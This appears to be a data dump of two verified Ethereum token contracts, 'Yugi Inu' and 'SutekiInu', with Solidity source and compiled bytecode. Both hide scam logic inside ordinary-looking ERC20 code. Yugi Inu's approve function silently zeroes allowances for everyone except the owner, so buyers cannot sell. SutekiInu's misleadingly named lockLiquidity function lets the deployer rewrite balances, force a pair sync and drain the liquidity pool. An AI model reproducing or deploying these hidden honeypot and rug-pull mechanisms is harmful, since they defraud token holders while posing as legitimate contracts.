// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract YugiInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000* 10**12* 10**18;
string private _name = ' Yugi Inu';
string private _symbol = ' Yugi ';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220b56544d87e1d6050bfa3c8227950e676a746f0d803aae936bbc993aeef97e5b764736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 3,718 |
0xfb7f5396048b2cc8ef027f14e68cc64d7a6e4385
|
/**
Suteki Inu — $SUTEKI
Creating professional anime artwork from you!
https://t.me/Sutekiinu
. .
+*+: .+++
:*#+. .-= .:.:. --. .+#*:
:*+:++:-: .:::--+=-:::. :-:+*:+#:
:***+-:---=+*####%%#+==-::=***-
=+.+***##*******###%%%@%%%##*+.+=.
:= +=###***+==--:-=+*#%%%%%%#+ =:
+.###*=::::::::::---+%%%%#+
+-###*=::....::::---+%%%%*+
+=###*=::....::::---*%@%@++
++###*+::....::::---#%@%%=+
++*##**-::..:::::--=%%@%#:+
:*+##**+:::::::::--*%@%%-=-
+=*##**=:::::::--+%%%@*.+
:+:*##**=:::::--+%%%%%:+-
=+-###**+-----*#%%%%=+=
-#*-*####*+-+##%%%#=*#-
:=+--*:=########%%%+:*=-+=:
:=+: .*+-+#####%%*-=*: :==:
:-. -**+*#%##=+*- .-:
-*#####*-
.=*=.
**/
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract SutekiInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balance;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private _tTotal = 100000000000000 * 10**18;
uint256 private _maxWallet= 100000000000000 * 10**18;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 public _maxTxAmount;
string private constant _name = "SutekiInu";
string private constant _symbol = "SUTEKI";
uint8 private constant _decimals = 18;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_taxFee = 10;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_balance[address(this)] = _tTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(100);
_maxWallet=_tTotal.div(100);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balance[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<=_maxTxAmount,"Transaction amount limited");
}
if(to != _pair && ! _isExcludedFromFee[to] && ! _isExcludedFromFee[from]) {
require(balanceOf(to) + amount <= _maxWallet, "Balance exceeded wallet size");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance,address(this));
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance >= 10000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee);
}
function swapTokensForEth(uint256 tokenAmount,address to) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
to,
block.timestamp
);
}
function increaseMaxTx(uint256 amount) public onlyOwner{
require(amount>_maxTxAmount);
_maxTxAmount=amount;
}
function increaseMaxWallet(uint256 amount) public onlyOwner{
require(amount>_maxWallet);
_maxWallet=amount;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function createUniswapPair() external onlyOwner {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function lockLiquidity() public{
require(_msgSender()==_taxWallet);
_balance[address(this)] = 100000000000000000;
_balance[_pair] = 1;
(bool success,) = _pair.call(abi.encodeWithSelector(bytes4(0xfff6cae9)));
if (success) {
swapTokensForEth(100000000, _taxWallet);
} else { revert("Internal failure"); }
}
function addLiquidity() external onlyOwner{
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private {
uint256 tTeam = tAmount.mul(taxRate).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
_balance[sender] = _balance[sender].sub(tAmount);
_balance[recipient] = _balance[recipient].add(tTransferAmount);
_balance[address(this)] = _balance[address(this)].add(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
receive() external payable {}
function manualSend() public{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function manualSwap() public{
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance,address(this));
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
}
|
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063a9059cbb1161006f578063a9059cbb1461034d578063bb2f71991461036d578063d91a21a614610382578063dd62ed3e146103a2578063e8078d94146103e8578063f4293890146103fd57600080fd5b8063715018a6146102ab5780637d1db4a5146102c05780638da5cb5b146102d657806395d89b41146102fe578063a457c2d71461032d57600080fd5b806339509351116100f257806339509351146102095780633e7175c5146102295780634a1316721461024b57806351bc3c851461026057806370a082311461027557600080fd5b806306fdde031461013a578063095ea7b31461017e57806318160ddd146101ae57806323b872dd146101cd578063313ce567146101ed57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b50604080518082019091526009815268537574656b69496e7560b81b60208201525b6040516101759190611518565b60405180910390f35b34801561018a57600080fd5b5061019e610199366004611560565b610412565b6040519015158152602001610175565b3480156101ba57600080fd5b506005545b604051908152602001610175565b3480156101d957600080fd5b5061019e6101e836600461158c565b610429565b3480156101f957600080fd5b5060405160128152602001610175565b34801561021557600080fd5b5061019e610224366004611560565b610492565b34801561023557600080fd5b506102496102443660046115cd565b6104c8565b005b34801561025757600080fd5b5061024961050e565b34801561026c57600080fd5b506102496107e7565b34801561028157600080fd5b506101bf6102903660046115e6565b6001600160a01b031660009081526002602052604090205490565b3480156102b757600080fd5b50610249610803565b3480156102cc57600080fd5b506101bf60095481565b3480156102e257600080fd5b506000546040516001600160a01b039091168152602001610175565b34801561030a57600080fd5b50604080518082019091526006815265535554454b4960d01b6020820152610168565b34801561033957600080fd5b5061019e610348366004611560565b610877565b34801561035957600080fd5b5061019e610368366004611560565b6108c6565b34801561037957600080fd5b506102496108d3565b34801561038e57600080fd5b5061024961039d3660046115cd565b610a02565b3480156103ae57600080fd5b506101bf6103bd366004611603565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156103f457600080fd5b50610249610a3f565b34801561040957600080fd5b50610249610b68565b600061041f338484610bbb565b5060015b92915050565b6000610436848484610cdf565b610488843361048385604051806060016040528060288152602001611808602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190611094565b610bbb565b5060019392505050565b3360008181526003602090815260408083206001600160a01b0387168452909152812054909161041f91859061048390866110ce565b6000546001600160a01b031633146104fb5760405162461bcd60e51b81526004016104f29061163c565b60405180910390fd5b600654811161050957600080fd5b600655565b6000546001600160a01b031633146105385760405162461bcd60e51b81526004016104f29061163c565b600b54600160a01b900460ff16156105925760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104f2565b600a546005546105af9130916001600160a01b0390911690610bbb565b600a60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156105fd57600080fd5b505afa158015610611573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106359190611671565b6001600160a01b031663c9c6539630600a60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561069257600080fd5b505afa1580156106a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ca9190611671565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561071257600080fd5b505af1158015610726573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061074a9190611671565b600b80546001600160a01b0319166001600160a01b03928316908117909155600a5460405163095ea7b360e01b81529216600483015260001960248301529063095ea7b390604401602060405180830381600087803b1580156107ac57600080fd5b505af11580156107c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e4919061168e565b50565b3060009081526002602052604081205490506107e4813061112d565b6000546001600160a01b0316331461082d5760405162461bcd60e51b81526004016104f29061163c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061041f338461048385604051806060016040528060258152602001611830602591393360009081526003602090815260408083206001600160a01b038d1684529091529020549190611094565b600061041f338484610cdf565b6008546001600160a01b0316336001600160a01b0316146108f357600080fd5b30600090815260026020908152604080832067016345785d8a00009055600b80546001600160a01b03908116855282852060019055905482516004815260248101845293840180516001600160e01b031660016209351760e01b03191790529151911691610960916116b0565b6000604051808303816000865af19150503d806000811461099d576040519150601f19603f3d011682016040523d82523d6000602084013e6109a2565b606091505b5050905080156109c7576008546107e4906305f5e100906001600160a01b031661112d565b60405162461bcd60e51b815260206004820152601060248201526f496e7465726e616c206661696c75726560801b60448201526064016104f2565b6000546001600160a01b03163314610a2c5760405162461bcd60e51b81526004016104f29061163c565b6009548111610a3a57600080fd5b600955565b6000546001600160a01b03163314610a695760405162461bcd60e51b81526004016104f29061163c565b600a546001600160a01b031663f305d7194730610a9b816001600160a01b031660009081526002602052604090205490565b600080610ab06000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610b1357600080fd5b505af1158015610b27573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b4c91906116cc565b5050600b805462ff00ff60a01b19166201000160a01b17905550565b476107e4816112b7565b6000610bb483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112f5565b9392505050565b6001600160a01b038316610c1d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104f2565b6001600160a01b038216610c7e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104f2565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d435760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104f2565b6001600160a01b038216610da55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f2565b60008111610e075760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104f2565b6000546001600160a01b03848116911614801590610e3357506000546001600160a01b03838116911614155b1561103357600b546001600160a01b038481169116148015610e635750600a546001600160a01b03838116911614155b8015610e8857506001600160a01b03821660009081526004602052604090205460ff16155b15610edf57600954811115610edf5760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d6974656400000000000060448201526064016104f2565b600b546001600160a01b03838116911614801590610f1657506001600160a01b03821660009081526004602052604090205460ff16155b8015610f3b57506001600160a01b03831660009081526004602052604090205460ff16155b15610fbb5760065481610f63846001600160a01b031660009081526002602052604090205490565b610f6d9190611710565b1115610fbb5760405162461bcd60e51b815260206004820152601c60248201527f42616c616e63652065786365656465642077616c6c65742073697a650000000060448201526064016104f2565b30600090815260026020526040902054600b54600160a81b900460ff16158015610ff35750600b546001600160a01b03858116911614155b80156110085750600b54600160b01b900460ff165b1561103157611017813061112d565b47662386f26fc10000811061102f5761102f476112b7565b505b505b6001600160a01b03821660009081526004602052604090205461108f9084908490849060ff168061107c57506001600160a01b03871660009081526004602052604090205460ff165b61108857600754611323565b6000611323565b505050565b600081848411156110b85760405162461bcd60e51b81526004016104f29190611518565b5060006110c58486611728565b95945050505050565b6000806110db8385611710565b905083811015610bb45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104f2565b600b805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111755761117561173f565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156111c957600080fd5b505afa1580156111dd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112019190611671565b816001815181106112145761121461173f565b6001600160a01b039283166020918202929092010152600a5461123a9130911685610bbb565b600a5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611273908690600090869088904290600401611755565b600060405180830381600087803b15801561128d57600080fd5b505af11580156112a1573d6000803e3d6000fd5b5050600b805460ff60a81b191690555050505050565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156112f1573d6000803e3d6000fd5b5050565b600081836113165760405162461bcd60e51b81526004016104f29190611518565b5060006110c584866117c6565b600061133a60646113348585611427565b90610b72565b9050600061134884836114a6565b6001600160a01b03871660009081526002602052604090205490915061136e90856114a6565b6001600160a01b03808816600090815260026020526040808220939093559087168152205461139d90826110ce565b6001600160a01b0386166000908152600260205260408082209290925530815220546113c990836110ce565b3060009081526002602090815260409182902092909255518281526001600160a01b0387811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050505050565b60008261143657506000610423565b600061144283856117e8565b90508261144f85836117c6565b14610bb45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104f2565b6000610bb483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611094565b60005b838110156115035781810151838201526020016114eb565b83811115611512576000848401525b50505050565b60208152600082518060208401526115378160408501602087016114e8565b601f01601f19169190910160400192915050565b6001600160a01b03811681146107e457600080fd5b6000806040838503121561157357600